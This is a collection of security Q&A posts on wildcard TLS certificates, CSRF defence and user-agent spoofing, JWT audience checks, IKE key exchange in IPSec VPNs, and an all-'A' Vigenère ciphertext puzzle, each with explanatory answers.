HTTPS and certificates don't care about the underlying IP address, they only care that the subject name or a subject alternate name in the cert match the host name of the site you're trying to connect to.  For a wildcard cert, this means any single level sub-domain.  So if you control those two IP addresses, and that is where you're hosting your services, you could use the following sub-domains:  1-1-1-1.insecureshell.net and 4-3-2-1.insecureshell.net to reference them.  You then simply have DNS entries for those two subdomains that point at the IP addresses 1.1.1.1 and 4.3.2.1 respectively, and install your wildcare cert on both those machines.  There's really no reason to do this though, generally speaking.  Instead you use service1.insecureshell.net, and service2.insecureshell.net, and you have DSN entries for those names pointed at 1.1.1.1 and 4.3.2.1, and once again, install your wildcard cert on both those boxes, and you're good to go.


How do defend CSRF against requests that pretend not to be browsers? I know that there are a myriad of defenses against CSRF attacks. CSRF, however, is strictly a browser vulnerability, and any request that comes from a non-browser is "automatically" (and rightly so) allowed through.

But...how do you know whether a request is from a browser or not? As far as I can tell, the only way is by examining the user-agent header.

This is all well and good, but, unlike the Origin and Referer headers, the user-agent header can be modified programmatically:

  Note: The User-Agent header is no longer forbidden, as per spec — see
  forbidden header name list (this was implemented in Firefox 43,) so
  can now be set in a Fetch Headers object, via XHR setRequestHeader(),
  etc.

Oops.

Is there some other way of determining whether a request came from a browser? Or, to defend against CSRF attacks, are you just doomed to block all non-browser requests as well?

You shouldn't need to block non browser requests.

The reason? Csrf is an attack on a user using a browser. They need to be visiting your site at the same time as a malicious site.

If there is no browser, there is no attack. So just let the non browsers through.

Update: After Anders' comment I now realise the question was relating to websites that already allow through state changing requests based upon User Agent. Please see his answer as it sums up the situation nicely in respect of this.

My new answer:

The best approach isn't to use a browser based authentication mechanism for sensitive functions. For anything accessed outside of a browser, enforce access using API keys sent as headers within the request. Automated systems using APIs shouldn't be using a username & password and gaining a session token, they should have a strong key that could be attached with every request.

This way it does not matter what the User Agent is - you identify non-browsers by the fact they are using an API key sent in a header to authenticate themselves.


JWT with a single audience claim accessing a resource server with multiple configured audience values When a JWT id_token with a single audience is presented to a resource server which has multiple configured audience values, should the resource server reject the validity of the token on the basis of the mismatch in audiences (ie JWT has one, resource server wants all of the ones we have configured), or should the resource server accept the validity of the token on the basis of a single match (ie JWT has one, resource server has that one in its list of 4, it passes validation as a result)?

It is usually the other way round. A JWT token can have several audiences, but the consumer of the token only identifies as a single audience. In this case, the consumer accepts and validates a token only if his own audience is in the audience claims of the token.

Your scenario only arises if we are talking about an aggregator, like an API gateway. If an API gateway bundles several APIs with different audience claims, it has two options:

It passes the token on without checking the audience, trusting that the consuming API will do the validation.
It verifies that the audience claim is present in the token for the API that it is sent to.

In this scenario the API Gateway is just an intermediary and not the final consumer. The real consumer should always only identify as a single audience.


IPSec VPNs and symmetric keys When dealing with IPSec based VPNs, I understand that there is a slight "problem" with symmetric key exchange. Obviously, you can't send the keys over the VPN, since they are used to guarantee the confidentiality of the information also sent over the VPN. So you have to use some sort of alternative route.

Now, I know that IPSec contains a process for this, IKE. But, would IKE work within a VPN? I found an interesting article on this, but right when it gets to a point where my current question would be answered, it seems to abruptly back off and leave me assuming that some common algorithms like DES, AES, Blowfish, RC4, etc., are used, and the encrypted keys are just sent in the clear.

Here is this article: http://csrc.nist.gov/publications/nistpubs/800-77/sp800-77.pdf (section 2.2)

So, when it comes to symmetric key transfer on a VPN that uses IPSec, how are the keys sent?

If you check out the IKE wikipedia page it describes how the symmetric keys are established. IKE consists of two phases. Phase one negotiates the IKE-SA which establishes a secure channel to transmit the key. The key is used to encrypt further communications. Phase 2 establishes the IPSec-SAs which contain the algorithms and keys etc that are used for the traffic that is to be secured by IPSec. The wiki page states that it IKE uses a Diffie-Hellman key exchange to create the shared secret that is used to derive the keys. Hope this helps some.


Decrypt AAAAAAAAAAAA with vigenere Maybe someone can help me.
I have to decrypt the Vigenere Chiffre : AAAAAAAAAAAA
This is all what is given. So I have no keylength or something. I think I'm not supposed to do a brute force attack.
I actually do know how the decryption with Vigenere works. I have already written a program for a different text to translate. But my program works for texts consisting of a natural language. I did a frequency analysis of letters, bigrams.. But I don't know I can solve this problem here when there is only one letter 12 times.
Maybe this has something to do with redundancy and unicity length?
It may have to do something with redundancy and unicity length because this was part of my lecture the last time, but i don't know what to do with this information.
Thank you for your help

Given that your cyphertext is all As, I am going to assume that the key is of the same length as the plaintext (there are edge cases where this is technically untrue, but for decryption purposes it's probably true).
When your Vigenère key is as long as your plaintext, you are effectively using a One-time pad, which is impossible to decrypt.